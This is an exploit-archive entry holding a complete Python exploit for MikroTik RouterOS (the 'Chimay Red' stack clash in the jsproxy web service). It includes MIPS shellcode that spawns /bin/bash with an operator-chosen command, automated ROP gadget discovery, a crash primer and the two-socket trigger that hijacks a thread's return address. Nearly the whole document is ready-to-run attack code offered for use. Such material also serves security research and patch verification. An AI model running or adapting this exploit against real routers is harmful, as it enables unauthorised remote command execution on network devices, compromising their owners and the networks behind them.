MikroTik RouterOS Chimay Red Stack Clash Remote Code Execution

2018.03.14
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python3 # Mikrotik Chimay Red Stack Clash Exploit by BigNerd95 # Tested on RouterOS 6.38.4 (mipsbe) [using a CRS109] # Used tools: pwndbg, rasm2, mipsrop for IDA # I used ropper only to automatically find gadgets # ASLR enabled on libs only # DEP NOT enabled import socket, time, sys, struct, re from ropper import RopperService AST_STACKSIZE = 0x800000 # default stack size per thread (8 MB) ROS_STACKSIZE = 0x20000 # newer version of ROS have a different stack size per thread (128 KB) SKIP_SPACE = 0x1000 # 4 KB of "safe" space for the stack of thread 2 ROP_SPACE = 0x8000 # we can send 32 KB of ROP chain! ALIGN_SIZE = 0x10 # alloca align memory with "content-length + 0x10 & 0xF" so we need to take it into account ADDRESS_SIZE = 0x4 # we need to overwrite a return address to start the ROP chain class MyRopper(): def __init__(self, filename): self.rs = RopperService() self.rs.clearCache() self.rs.addFile(filename) self.rs.loadGadgetsFor() self.rs.options.inst_count = 10 self.rs.loadGadgetsFor() self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets def get_gadgets(self, regex): gadgets = [] for _, g in self.rs.search(search=regex): gadgets.append(g) if len(gadgets) > 0: return gadgets else: raise Exception("Cannot find gadgets!") def contains_string(self, string): s = self.rs.searchString(string) t = [a for a in s.values()][0] return len(t) > 0 def get_arch(self): return self.rs.files[0].arch._name @staticmethod def get_ra_offset(gadget): """ Return the offset of next Retun Address on the stack So you know how many bytes to put before next gadget address Eg: lw $ra, 0xAB ($sp) --> return: 0xAB """ for line in gadget.lines: offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1]) if offset_len: return int(offset_len[0], 16) raise Exception("Cannot find $ra offset in this gadget!") def makeHeader(num): return b"POST /jsproxy HTTP/1.1\r\nContent-Length: " + bytes(str(num), 'ascii') + b"\r\n\r\n" def makeSocket(ip, port): s = socket.socket() try: s.connect((ip, port)) except: print("Error connecting to socket") sys.exit(-1) print("Connected") time.sleep(0.5) return s def socketSend(s, data): try: s.send(data) except: print("Error sending data") sys.exit(-1) print("Sent") time.sleep(0.5) def build_shellcode(shellCmd): shell_code = b'' shellCmd = bytes(shellCmd, "ascii") # Here the shellcode will write the arguments for execve: ["/bin/bash", "-c", "shellCmd", NULL] and [NULL] # XX XX XX XX <-- here the shell code will write the address of string "/bin/bash" [shellcode_start_address -16] <--- argv_array # XX XX XX XX <-- here the shell code will write the address of string "-c" [shellcode_start_address -12] # XX XX XX XX <-- here the shell code will write the address of string "shellCmd" [shellcode_start_address -8] # XX XX XX XX <-- here the shell code will write 0x00000000 (used as end of argv_array and as envp_array) [shellcode_start_address -4] <--- envp_array # The shell code execution starts here! shell_code += struct.pack('>L', 0x24500000) # addiu s0, v0, 0 # s0 = v0 Save the shellcode_start_address in s0 (in v0 we have the address of the stack where the shellcode starts [<-- pointing to this location exactly]) shell_code += struct.pack('>L', 0x24020fa2) # addiu v0, zero, 0xfa2 # v0 = 4002 (fork) Put the syscall number of fork (4002) in v0 shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start fork() shell_code += struct.pack('>L', 0x10400003) # beqz v0, 0x10 # jump 12 byte forward if v0 == 0 Jump to execve part of the shellcode if PID is 0 # if v0 != 0 [res of fork()] shell_code += struct.pack('>L', 0x24020001) # addiu v0, zero, 1 # a0 = 1 Put exit parameter in a0 shell_code += struct.pack('>L', 0x24020fa1) # addiu v0, zero, 0xfa1 # v0 = 4001 (exit) Put the syscall number of exit (4002) in v0 shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start exit(1) # if v0 == 0 [res of fork()] shell_code += struct.pack('>L', 0x26040050) # addiu a0, s0, 0x50 # a0 = shellcode_start_address + 0x50 Calculate the address of string "/bin/bash" and put it in a0 (the first parameter of execve) shell_code += struct.pack('>L', 0xae04fff0) # sw a0, -16(s0) # shellcode_start_address[-16] = bin_bash_address Write in the first entry of the "argv" array the address of the string "/bin/bash" shell_code += struct.pack('>L', 0x26110060) # addiu s1, s0, 0x60 # s1 = shellcode_start_address + 0x60 Calculate the address of string "-c" and put it in s1 shell_code += struct.pack('>L', 0xae11fff4) # sw s1, -12(s0) # shellcode_start_address[-12] = c_address Write in the second entry of the "argv" array the address of the string "-c" shell_code += struct.pack('>L', 0x26110070) # addiu s1, s0, 0x70 # s1 = shellcode_start_address + 0x70 Calculate the address of string "shellCmd" and put it in s1 shell_code += struct.pack('>L', 0xae11fff8) # sw s1, -8(s0) # shellcode_start_address[-8] = shellCmd_address Write in the third entry of the "argv" array the address of the string "shellCmd" shell_code += struct.pack('>L', 0xae00fffc) # sw zero, -4(s0) # shellcode_start_address[-4] = 0x00 Write NULL address as end of argv_array and envp_array shell_code += struct.pack('>L', 0x2205fff0) # addi a1, s0, -16 # a1 = shellcode_start_address - 16 Put the address of argv_array in a1 (the second parameter of execve) shell_code += struct.pack('>L', 0x2206fffc) # addi a2, s0, -4 # a2 = shellcode_start_address - 4 Put the address of envp_array in a2 (the third parameter of execve) shell_code += struct.pack('>L', 0x24020fab) # addiu v0, zero, 0xfab # v0 = 4011 (execve) Put the syscall number of execve (4011) in v0 (https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h) shell_code += struct.pack('>L', 0x0000000c) # syscall # launch syscall Start execve("/bin/bash", ["/bin/bash", "-c", "shellCmd", NULL], [NULL]) shell_code += b'P' * (0x50 - len(shell_code)) # offset to simplify string address calculation shell_code += b'/bin/bash\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x50] <--- bin_bash_address shell_code += b'P' * (0x60 - len(shell_code)) # offset to simplify string address calculation shell_code += b'-c\x00' # (Warning: do not exceed 16 bytes!) [shellcode_start + 0x60] <--- c_address shell_code += b'P' * (0x70 - len(shell_code)) # offset to simplify string address calculation shell_code += shellCmd + b'\x00' # [shellcode_start + 0x70] <--- shellCmd_address return shell_code def build_payload(binRop, shellCmd): print("Building shellcode + ROP chain...") ropChain = b'' shell_code = build_shellcode(shellCmd) # 1) Stack finder gadget (to make stack pivot) stack_finder = binRop.get_gadgets("addiu ?a0, ?sp, 0x18; lw ?ra, 0x???(?sp% jr ?ra;")[0] """ 0x0040ae04: (ROS 6.38.4) addiu $a0, $sp, 0x18 <--- needed action lw $ra, 0x5fc($sp) <--- jump control [0x5fc, a lot of space for the shellcode!] lw $s3, 0x5f8($sp) lw $s2, 0x5f4($sp) lw $s1, 0x5f0($sp) lw $s0, 0x5ec($sp) move $v0, $zero jr $ra """ ropChain += struct.pack('>L', stack_finder.address) # Action: addiu $a0, $sp, 0x600 + var_5E8 # a0 = stackpointer + 0x18 # Control Jump: jr 0x600 + var_4($sp) # This gadget (moreover) allows us to reserve 1512 bytes inside the rop chain # to store the shellcode (beacuse of: jr 0x600 + var_4($sp)) ropChain += b'B' * 0x18 # 0x600 - 0x5E8 = 0x18 (in the last 16 bytes of this offset the shell code will write the arguments for execve) ropChain += shell_code # write the shell code in this "big" offset next_gadget_offset = MyRopper.get_ra_offset(stack_finder) - 0x18 - len(shell_code) if next_gadget_offset < 0: # check if shell command fits inside this big offset raise Exception("Shell command too long! Max len: " + str(next_gadget_offset + len(shellCmd)) + " bytes") ropChain += b'C' * next_gadget_offset # offset because of this: 0x600 + var_4($sp) # 2) Copy a0 in v0 because of next gadget mov_v0_a0 = binRop.get_gadgets("lw ?ra, %move ?v0, ?a0;% jr ?ra;")[0] """ 0x00414E58: (ROS 6.38.4) lw $ra, 0x24($sp); <--- jump control lw $s2, 0x20($sp); lw $s1, 0x1c($sp); lw $s0, 0x18($sp); move $v0, $a0; <--- needed action jr $ra; """ ropChain += struct.pack('>L', mov_v0_a0.address) # Gadget Action: move $v0, $a0 # v0 = a0 # Gadget Control: jr 0x28 + var_4($sp) ropChain += b'D' * MyRopper.get_ra_offset(mov_v0_a0) # offset because of this: 0x28 + var_4($sp) # 3) Jump to the stack (start shell code) jump_v0 = binRop.get_gadgets("move ?t9, ?v0; jalr ?t9;")[0] """ 0x00412540: (ROS 6.38.4) move $t9, $v0; <--- jump control jalr $t9; <--- needed action """ ropChain += struct.pack('>L', jump_v0.address) # Gadget Action: jalr $t9 # jump v0 # Gadget Control: jalr $v0 return ropChain def stackClash(ip, port, payload): print("Opening 2 sockets") # 1) Start 2 threads # open 2 socket so 2 threads are created s1 = makeSocket(ip, port) # socket 1, thread A s2 = makeSocket(ip, port) # socket 2, thread B print("Stack clash...") # 2) Stack Clash # 2.1) send post header with Content-Length bigger than AST_STACKSIZE to socket 1 (thread A) socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread A will point inside the stack frame of thread B (the post_data buffer will start from here) # 2.2) send some bytes as post data to socket 1 (thread A) socketSend(s1, b'A'*(SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE)) # increase the post_data buffer pointer of thread A to a position where a return address of thread B will be saved # 2.3) send post header with Content-Length to reserve ROP space to socket 2 (thread B) socketSend(s2, makeHeader(ROP_SPACE)) # thanks to alloca, the Stack Pointer of thread B will point where post_data buffer pointer of thread A is positioned print("Sending payload") # 3) Send ROP chain and shell code socketSend(s1, payload) print("Starting exploit") # 4) Start ROP chain s2.close() # close socket 2 to return from the function of thread B and start ROP chain print("Done!") def crash(ip, port): print("Crash...") s = makeSocket(ip, port) socketSend(s, makeHeader(-1)) socketSend(s, b'A' * 0x1000) s.close() time.sleep(2.5) # www takes up to 3 seconds to restart if __name__ == "__main__": if len(sys.argv) == 5: ip = sys.argv[1] port = int(sys.argv[2]) binary = sys.argv[3] shellCmd = sys.argv[4] binRop = MyRopper(binary) if binRop.get_arch() != 'MIPSBE': raise Exception("Wrong architecture! You have to pass a mipsbe executable") if binRop.contains_string("pthread_attr_setstacksize"): AST_STACKSIZE = ROS_STACKSIZE payload = build_payload(binRop, shellCmd) crash(ip, port) # should make stack clash more reliable stackClash(ip, port, payload) else: print("Usage: " + sys.argv[0] + " IP PORT binary shellcommand")


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